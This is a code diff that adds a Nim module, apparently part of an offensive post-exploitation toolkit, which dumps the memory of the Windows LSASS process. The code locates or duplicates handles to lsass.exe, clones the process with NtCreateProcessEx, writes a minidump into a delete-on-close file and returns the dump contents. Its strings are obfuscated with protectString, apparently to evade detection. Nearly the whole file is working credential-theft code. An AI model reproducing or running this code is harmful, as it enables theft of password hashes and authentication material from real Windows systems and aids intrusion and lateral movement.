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| Original file line number | Diff line number | Diff line change |
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| @@ -0,0 +1,184 @@ | ||
| # Modified code of https://github.com/RePRGM/Nimperiments/tree/main/EvilLsassTwin | ||
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| import winim | ||
| import nimprotect | ||
| import ../helpers | ||
| import std/[strutils, dynlib, tables, net] | ||
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| type | ||
| NtQuerySystemInformation_t = proc(SystemInformationClass: ULONG, SystemInformation: PVOID, SystemInformationLength: ULONG, ReturnLength: PULONG): NTSTATUS {.stdcall.} | ||
| NtDuplicateObject_t = proc(SourceProcessHandle: HANDLE, SourceHandle: HANDLE, TargetProcessHandle: HANDLE, TargetHandle: PHANDLE, DesiredAccess: ACCESS_MASK, HandleAttributes: ULONG, Options: ULONG): NTSTATUS {.stdcall.} | ||
| NtCreateProcessEx_t = proc(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ParentProcess: HANDLE, Flags: ULONG, SectionHandle: HANDLE, DebugPort: HANDLE, ExceptionPort: HANDLE, InJob: BOOLEAN): NTSTATUS {.stdcall.} | ||
| NtGetNextProcess_t = proc(ProcessHandle: HANDLE, DesiredAccess: ACCESS_MASK, HandleAttributes: ULONG, Flags: ULONG, NewProcessHandle: PHANDLE): NTSTATUS {.stdcall.} | ||
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| {.emit: protectString("char procName[4096];").} | ||
| var procName {.importc, nodecl.}: cstring | ||
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| proc enumLsassHandles(): seq[(ULONG, HANDLE)] = | ||
| var status: NTSTATUS | ||
| var ntdll = loadLib(protectString("ntdll.dll")) | ||
| var | ||
| NtQuerySystemInformation = cast[NtQuerySystemInformation_t](ntdll.symAddr(protectString("NtQuerySystemInformation"))) | ||
| NtDuplicateObject = cast[NtDuplicateObject_t](ntdll.symAddr(protectString("NtDuplicateObject"))) | ||
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| var lsassHandles: seq[(ULONG, HANDLE)] = @[] | ||
| var handleInfo = initTable[ULONG, seq[USHORT]]() #Key = PID, Value = Seq[HANDLE] | ||
| var dupHandle: HANDLE | ||
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| var rtrnLength: ULONG = 0 | ||
| var shiBuffer = VirtualAlloc(NULL, sizeof(SYSTEM_HANDLE_INFORMATION), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE) | ||
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| status = NtQuerySystemInformation(0x10, cast[PSYSTEM_HANDLE_INFORMATION](shiBuffer), cast[ULONG](sizeof(SYSTEM_HANDLE_INFORMATION)), addr rtrnLength) | ||
| while status == STATUS_INFO_LENGTH_MISMATCH: | ||
| VirtualFree(shiBuffer, 0, MEM_RELEASE) | ||
| shiBuffer = VirtualAlloc(NULL, rtrnLength, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE) | ||
| status = NtQuerySystemInformation(0x10, cast[PSYSTEM_HANDLE_INFORMATION](shiBuffer), rtrnLength, addr rtrnLength) | ||
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| if NT_SUCCESS(status) != true: | ||
| return @[] | ||
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| var shiEnd = shiBuffer + rtrnLength | ||
| var sHandle = shiBuffer + sizeof(LONG) | ||
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| while cast[int](sHandle) <= cast[int](shiEnd): | ||
| sHandle = sHandle + sizeof(LONG) | ||
| var sysHandle = cast[PSYSTEM_HANDLE_INFORMATION](sHandle).Handle[0] | ||
| if not handleInfo.hasKey(sysHandle.OwnerPid) and (sysHandle.ObjectType != 0 and sysHandle.HandleFlags != 0 and (sysHandle.HandleValue != 0 and sysHandle.HandleValue != 65535)): | ||
| handleInfo[sysHandle.OwnerPid] = @[] | ||
| handleInfo[sysHandle.OwnerPid].add(sysHandle.HandleValue) | ||
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| for pid in handleInfo.keys: | ||
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| if pid == 4: | ||
| continue | ||
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| for syshandle in handleInfo[pid]: | ||
| var pHandle: HANDLE = OpenProcess(PROCESS_DUP_HANDLE, FALSE, cast[DWORD](pid)) | ||
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| if GetLastError() != 0: | ||
| continue | ||
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| status = NtDuplicateObject(pHandle, cast[HANDLE](syshandle), cast[HANDLE](-1), addr dupHandle, PROCESS_CREATE_PROCESS, 0, 0) | ||
| if NT_SUCCESS(status) != true: | ||
| continue | ||
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| var oinfo: OBJECT_TYPE_INFORMATION | ||
| var oinfoBuffer = VirtualAlloc(NULL, sizeof(OBJECT_TYPE_INFORMATION), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE) | ||
| var ortrnLength: ULONG | ||
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| status = NtQueryObject(dupHandle, cast[OBJECT_INFORMATION_CLASS](2), oinfoBuffer, cast[ULONG](sizeof(OBJECT_TYPE_INFORMATION)), addr ortrnLength) | ||
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| while status == STATUS_INFO_LENGTH_MISMATCH: | ||
| VirtualFree(oinfoBuffer, 0, MEM_RELEASE) | ||
| oinfoBuffer = VirtualAlloc(NULL, ortrnLength, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE) | ||
| status = NtQueryObject(dupHandle, cast[OBJECT_INFORMATION_CLASS](2), oinfoBuffer, ortrnLength, addr ortrnLength) | ||
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| if NT_SUCCESS(status) != true: | ||
| return @[] | ||
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| oinfo = cast[OBJECT_TYPE_INFORMATION](oinfoBuffer) | ||
| var pname: cstring | ||
| var pname_size: DWORD = 4096 | ||
| var oinfoTypeNameBufferValuePtr = oinfoBuffer+0x68 | ||
| var oinfoTypeNameBufferValue = cast[PWSTR](oinfoTypeNameBufferValuePtr) | ||
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| if $oinfoTypeNameBufferValue == protectString("Process"): | ||
| if QueryFullProcessImageNameW(dupHandle, 0, pname, addr pname_size) != 0: | ||
| if cmpIgnoreCase(winim.winstr.`$`pname, protectString("lsass.exe")) == 0: | ||
| lsassHandles.add((pid, dupHandle)) | ||
| else: | ||
| CloseHandle(cast[HANDLE](syshandle)) | ||
| CloseHandle(dupHandle) | ||
| else: | ||
| return @[] | ||
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| VirtualFree(shiBuffer, 0, MEM_RELEASE) | ||
| return lsassHandles | ||
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| proc evil_lsass_twin*(): string = | ||
| var hNtdll = loadLib(protectString("ntdll.dll")) | ||
| var status: NTSTATUS | ||
| var procOA: OBJECT_ATTRIBUTES | ||
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| InitializeObjectAttributes(addr procOA, NULL, 0, cast[HANDLE](NULL), NULL) | ||
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| var | ||
| NtCreateProcessEx = cast[NtCreateProcessEx_t](hNtdll.symAddr(protectString("NtCreateProcessEx"))) | ||
| NtGetNextProcess = cast[NtGetNextProcess_t](hNtdll.symAddr(protectString("NtGetNextProcess"))) | ||
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| var dupHandlesSeq = enumLsassHandles() | ||
| var victimHandle: HANDLE = cast[HANDLE](NULL) | ||
| var pid: DWORD | ||
| var count: int = 1 | ||
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| if dupHandlesSeq.len == 0: | ||
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| while NtGetNextProcess(victimHandle, MAXIMUM_ALLOWED, 0, 0, addr victimHandle) == 0: | ||
| count += 1 | ||
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| if GetProcessImageFileNameA(victimHandle, procName, MAX_PATH) == 0: | ||
| return "" | ||
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| if lstrcmpiA(protectString("lsass.exe"), PathFindFileNameA(procName)) == 0: | ||
| pid = GetProcessId(victimHandle) | ||
| break | ||
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| if victimHandle == 0: | ||
| return "" | ||
| else: | ||
| dupHandlesSeq.add((pid, victimHandle)) | ||
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| for handleTuple in dupHandlesSeq: | ||
| status = NtCreateProcessEx(addr victimHandle, PROCESS_ALL_ACCESS, addr procOA, handleTuple[1], cast[ULONG](0), cast[HANDLE](NULL), cast[HANDLE](NULL), cast[HANDLE](NULL), FALSE) | ||
| if NT_SUCCESS(status): | ||
| break | ||
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| if NT_SUCCESS(status) == false: | ||
| return "" | ||
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| var IoStatusBlock: IO_STATUS_BLOCK | ||
| var fileDI: FILE_DISPOSITION_INFORMATION | ||
| fileDI.DoDeleteFile = TRUE | ||
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| var outFile = CreateFile(protectString("twin.txt"), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, cast[HANDLE](NULL)) | ||
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| if outFile == INVALID_HANDLE_VALUE: | ||
| TerminateProcess(victimHandle, 0) | ||
| CloseHandle(victimHandle) | ||
| CloseHandle(outFile) | ||
| return "" | ||
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| status = NtSetInformationFile(outFile, addr IoStatusBlock, addr fileDI, cast[ULONG](sizeof(fileDI)), 13) | ||
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| if NT_SUCCESS(status) == false: | ||
| return "" | ||
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| var miniDump = MiniDumpWriteDump(victimHandle, 0, outFile, 0x00000002, NULL, NULL, NULL) | ||
| if miniDump == TRUE: | ||
| TerminateProcess(victimHandle, 0) | ||
| else: | ||
| TerminateProcess(victimHandle, 0) | ||
| CloseHandle(outFile) | ||
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| if miniDump == FALSE: | ||
| return "" | ||
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| var size: DWORD = GetFileSize(outFile, NULL) | ||
| var hMapping: HANDLE = CreateFileMapping(outFile, NULL, PAGE_READONLY, 0, 0, "") | ||
| var mappedData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0) | ||
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| var dataCstring = cast[cstring](mappedData) | ||
| var dataString = "" | ||
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| for i in countup(0, size): | ||
| dataString.add(dataCstring[i]) | ||
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| UnmapViewOfFile(mappedData) | ||
| for handleTuple in dupHandlesSeq: CloseHandle(handleTuple[1]) | ||
| CloseHandle(outFile) | ||
| CloseHandle(hMapping) | ||
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| return dataString | ||
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